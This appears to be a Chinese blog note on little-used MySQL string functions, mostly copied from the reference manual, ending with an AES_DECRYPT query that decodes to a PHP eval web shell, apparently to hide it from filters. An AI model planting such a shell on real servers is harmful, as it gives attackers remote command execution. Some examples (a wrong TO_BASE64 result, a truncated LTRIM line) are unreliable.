本文记录一些MySQL生僻函数
0X01 字符串函数
STRCMP
STRCMP(expr1,expr2)
STRCMP() returns 0 if the strings are the same, -1 if the first argument is smaller than the second according to the current sort order, and 1 otherwise.
mysql> SELECT STRCMP('text', 'text2');
-> -1
mysql> SELECT STRCMP('text2', 'text');
-> 1
mysql> SELECT STRCMP('text', 'text');
-> 0
mysql> SET @s1 = _latin1 'x' COLLATE latin1_general_ci;
mysql> SET @s2 = _latin1 'X' COLLATE latin1_general_ci;
mysql> SET @s3 = _latin1 'x' COLLATE latin1_general_cs;
mysql> SET @s4 = _latin1 'X' COLLATE latin1_general_cs;
mysql> SELECT STRCMP(@s1, @s2), STRCMP(@s3, @s4);
+------------------+------------------+
| STRCMP(@s1, @s2) | STRCMP(@s3, @s4) |
+------------------+------------------+
|0 |1 |
+------------------+------------------+
REGEXP
expr REGEXP pat, expr RLIKE pat
Regular expression operations use the character set and collation of the string expression and pattern arguments when deciding the type of a character and performing the comparison. If the arguments have different character sets or collations, coercibility rules apply as described in Section 10.8.4, “Collation Coercibility in Expressions”.
If either argument is a binary string, the arguments are handled in case-sensitive fashion as binary strings.
mysql> SELECT 'Michael!' REGEXP '.*';
+------------------------+
| 'Michael!' REGEXP '.*' |
+------------------------+
|1 |
+------------------------+
mysql> SELECT 'new*\n*line' REGEXP 'new\\*.\\*line';
+---------------------------------------+
| 'new*\n*line' REGEXP 'new\\*.\\*line' |
+---------------------------------------+
| 0 |
+---------------------------------------+
mysql> SELECT 'a' REGEXP '^[a-d]';
+---------------------+
| 'a' REGEXP '^[a-d]' |
+---------------------+
| 1 |
+---------------------+
mysql> SELECT 'fo\nfo' REGEXP '^fo$';
-> 0
mysql> SELECT 'fofo' REGEXP '^fo';
-> 1
mysql> SELECT 'fo\no' REGEXP '^fo\no$';
-> 1
mysql> SELECT 'fo\no' REGEXP '^fo$';
-> 0
mysql> SELECT 'fofo' REGEXP '^f.*$';
-> 1
mysql> SELECT 'fo\r\nfo' REGEXP '^f.*$';
-> 1
mysql> SELECT 'Ban' REGEXP '^Ba*n';
-> 1
mysql> SELECT 'Baaan' REGEXP '^Ba*n';
-> 1
mysql> SELECT 'Bn' REGEXP '^Ba*n';
-> 1
UPPER
UPPER(str)
Returns the string str with all characters changed to uppercase according to the current character set mapping. The default is latin1 (cp1252 West European).
mysql> SELECT UPPER('Hej');
-> 'HEJ'
LOWER
LOWER(str)
Returns the string str with all characters changed to lowercase according to the current character set mapping. The default is latin1 (cp1252 West European).
mysql> SELECT LOWER('QUADRATICALLY');
-> 'quadratically'
LPAD
LPAD(str,len,padstr)
Returns the string str, left-padded with the string padstr to a length of len characters. If str is longer than len, the return value is shortened to len characters.
mysql> SELECT LPAD('hi',4,'??');
-> '??hi'
mysql> SELECT LPAD('hi',1,'??');
-> 'h'
LTRIM
LTRIM(str)
Returns the string str with leading space characters removed.
mysql> SELECT LTRIM('
-> 'barbar'
MAKE_SET
MAKE_SET(bits,str1,str2,…)
Returns a set value (a string containing substrings separated by , characters) consisting of the strings that have the corresponding bit in bits set. str1 corresponds to bit 0, str2 to bit 1, and soon. NULL values in str1, str2, … are not appended to the result.
mysql> SELECT MAKE_SET(1,'a','b','c');
-> 'a'
mysql> SELECT MAKE_SET(1 | 4,'hello','nice','world');
-> 'hello,world'
mysql> SELECT MAKE_SET(1 | 4,'hello','nice',NULL,'world');
-> 'hello'
mysql> SELECT MAKE_SET(0,'a','b','c');
-> ''
OCTET_LENGTH
OCTET_LENGTH(str)
OCTET_LENGTH() is a synonym for LENGTH().
Returns the length of the string str, measured in bytes. A multibyte character counts as multiple bytes. This means that for a string containing five 2-byte characters, LENGTH() returns 10, whereas CHAR_LENGTH() returns 5.
mysql> SELECT LENGTH('text');
-> 4
LOCATE
LOCATE(substr,str), LOCATE(substr,str,pos)
The first syntax returns the position of the first occurrence of substring substr in string str. The second syntax returns the position of the first occurrence of substring substr in string str, starting at position pos. Returns 0 if substr is not in str. Returns NULL if substr or str is NULL.
mysql> SELECT LOCATE('bar', 'foobarbar');
-> 4
mysql> SELECT LOCATE('xbar', 'foobar');
-> 0
mysql> SELECT LOCATE('bar', 'foobarbar', 5);
-> 7
MID SUBSTRING
MID(str,pos,len)
MID(str,pos,len) is a synonym for SUBSTRING(str,pos,len).
SUBSTRING
- SUBSTRING(str,pos), SUBSTRING(str FROM pos)
- SUBSTRING(str,pos,len),
- SUBSTRING(str FROM pos FOR len)
The forms without a len argument return a substring from string str starting at position pos. The forms with a len argument return a substring len characters long from string str, starting at position pos. The forms that use FROM are standard SQL syntax.
It is also possible to use a negative value for pos. In this case, the beginning of the substring is pos characters from the end of the string, rather than the beginning. A negative value may be used for pos in any of the forms of this function.
For all forms of SUBSTRING(), the position of the first character in the string from which the substring is to be extracted is reckoned as 1.
mysql> SELECT SUBSTRING('Quadratically',5);
-> 'ratically'
mysql> SELECT SUBSTRING('foobarbar' FROM 4);
-> 'barbar'
mysql> SELECT SUBSTRING('Quadratically',5,6);
-> 'ratica'
mysql> SELECT SUBSTRING('Sakila', -3);
-> 'ila'
mysql> SELECT SUBSTRING('Sakila', -5, 3);
-> 'aki'
mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);
-> 'ki'
SUBSTRING_INDEX
SUBSTRING_INDEX(str,delim,count)
Returns the substring from string str before count occurrences of the delimiter delim. If count is positive, everything to the left of the final delimiter (counting from the left) is returned. If count is negative, everything to the right of the final delimiter (counting from the right) is returned. SUBSTRING_INDEX() performs a case-sensitive match when searching for delim.
mysql> SELECT SUBSTRING_INDEX('www.mysql.com', '.', 2);
-> 'www.mysql'
mysql> SELECT SUBSTRING_INDEX('www.mysql.com', '.', -2);
-> 'mysql.com'
TO_BASE64
TO_BASE64(str)
Converts the string argument to base-64 encoded form and returns the result as a character string with the connection character set and collation. If the argument is not a string, it is converted to a string before conversion takes place. The result is NULL if the argument is NULL. Base-64 encoded strings can be decoded using the FROM_BASE64() function.
mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));
-> 'JWJj', 'abc'
FROM_BASE64
Takes a string encoded with the base-64 encoded rules used by TO_BASE64() and returns the decoded result as a binary string. The result is NULL if the argument is NULL or not a valid base-64 string. See the description of TO_BASE64() for details about the encoding and decoding rules.
mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc'));
-> 'JWJj', 'abc'
0x02 加密
MariaDB [(none)]> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS");
+-----------------------------------------------------------------------------------------------+
| AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS") |
+-----------------------------------------------------------------------------------------------+
| <?php eval($_POST["cmd"]);?> |
+-----------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)